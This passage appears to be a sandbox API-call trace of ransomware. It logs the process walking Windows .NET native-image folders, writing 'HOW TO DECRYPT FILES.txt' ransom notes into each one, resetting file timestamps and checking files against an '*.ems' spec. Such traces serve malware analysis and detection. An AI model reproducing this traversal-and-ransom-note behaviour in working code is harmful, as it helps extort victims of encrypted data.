(pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.228] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="618ab8996b43e841efdcfb273393fc02" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02" [0108.228] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f344cc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f344cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f344cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.228] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.229] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f344cc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f344cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f344cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.229] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.229] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.229] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30dc303d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30dc303d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9309438d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x890400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.UI.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.229] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.229] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.UI.ni.dll") returned -1 [0108.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.UI.ni.dll") returned -1 [0108.229] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.UI.ni.dll") returned -1 [0108.229] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\*.*") returned="*.*" [0108.229] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\" [0108.229] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\") returned="" [0108.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\HOW TO DECRYPT FILES.txt" [0108.229] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\618ab8996b43e841efdcfb273393fc02\\how to decrypt files.txt")) returned 0xffffffff [0108.229] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\618ab8996b43e841efdcfb273393fc02\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.232] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.232] CloseHandle (hObject=0x90) returned 1 [0108.232] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\", lpString2="Microsoft.MediaCenter.UI.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\Microsoft.MediaCenter.UI.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\Microsoft.MediaCenter.UI.ni.dll" [0108.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\Microsoft.MediaCenter.UI.ni.dll", pszSpec="*.ems") returned 0 [0108.233] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30dc303d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30dc303d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9309438d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x890400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.UI.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.233] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.233] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f2865e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f2865e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="9ae837dc03e8519b40fe2c35c8752146", cAlternateFileName="9AE837~1")) returned 1 [0108.233] lstrcmpA (lpString1=".", lpString2="9ae837dc03e8519b40fe2c35c8752146") returned -1 [0108.233] lstrcmpA (lpString1="..", lpString2="9ae837dc03e8519b40fe2c35c8752146") returned -1 [0108.233] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.233] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="9ae837dc03e8519b40fe2c35c8752146" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146" [0108.233] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f2865e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f2865e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.234] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.234] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f2865e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f2865e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.234] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.234] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.234] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3104a748, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3104a748, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8d11101d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x172400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.234] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.234] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.ni.dll") returned -1 [0108.234] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.ni.dll") returned -1 [0108.234] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.ni.dll") returned -1 [0108.234] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\*.*") returned="*.*" [0108.234] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\" [0108.234] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\") returned="" [0108.235] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\HOW TO DECRYPT FILES.txt" [0108.235] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\9ae837dc03e8519b40fe2c35c8752146\\how to decrypt files.txt")) returned 0xffffffff [0108.235] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\9ae837dc03e8519b40fe2c35c8752146\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.237] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.237] CloseHandle (hObject=0x90) returned 1 [0108.237] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\", lpString2="Microsoft.MediaCenter.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\Microsoft.MediaCenter.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\Microsoft.MediaCenter.ni.dll" [0108.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\Microsoft.MediaCenter.ni.dll", pszSpec="*.ems") returned 0 [0108.238] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3104a748, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3104a748, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8d11101d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x172400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.238] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.238] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6182a1c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6182a1c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6182a1c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a9f43923aab0d83b93cbf10ac1dfd0b5", cAlternateFileName="A9F439~1")) returned 1 [0108.238] lstrcmpA (lpString1=".", lpString2="a9f43923aab0d83b93cbf10ac1dfd0b5") returned -1 [0108.238] lstrcmpA (lpString1="..", lpString2="a9f43923aab0d83b93cbf10ac1dfd0b5") returned -1 [0108.238] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.238] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="a9f43923aab0d83b93cbf10ac1dfd0b5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5" [0108.238] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6182a1c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6182a1c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6182a1c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.239] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.239] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6182a1c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6182a1c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6182a1c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.239] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.239] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.239] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d76d87, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d76d87, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xafacd1d9, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.239] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.239] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.iTv.ni.dll") returned -1 [0108.239] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.iTv.ni.dll") returned -1 [0108.239] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.iTv.ni.dll") returned -1 [0108.239] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\*.*") returned="*.*" [0108.239] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\" [0108.239] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\") returned="" [0108.239] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\HOW TO DECRYPT FILES.txt" [0108.239] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\how to decrypt files.txt")) returned 0xffffffff [0108.240] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.242] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.242] CloseHandle (hObject=0x90) returned 1 [0108.243] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\", lpString2="Microsoft.MediaCenter.iTv.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\Microsoft.MediaCenter.iTv.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\Microsoft.MediaCenter.iTv.ni.dll" [0108.243] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\Microsoft.MediaCenter.iTv.ni.dll", pszSpec="*.ems") returned 0 [0108.243] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d76d87, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d76d87, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xafacd1d9, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.243] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.243] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f96e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63f96e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63f96e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b883b83d1f72f1fcaf4acdef3c9c381f", cAlternateFileName="B883B8~1")) returned 1 [0108.243] lstrcmpA (lpString1=".", lpString2="b883b83d1f72f1fcaf4acdef3c9c381f") returned -1 [0108.243] lstrcmpA (lpString1="..", lpString2="b883b83d1f72f1fcaf4acdef3c9c381f") returned -1 [0108.243] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.243] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="b883b83d1f72f1fcaf4acdef3c9c381f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f" [0108.243] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f96e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63f96e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63f96e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.244] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.244] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f96e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63f96e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63f96e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.244] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.244] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.244] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30f8c081, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30f8c081, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe7c7df63, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x170600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Bml.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.244] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.244] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 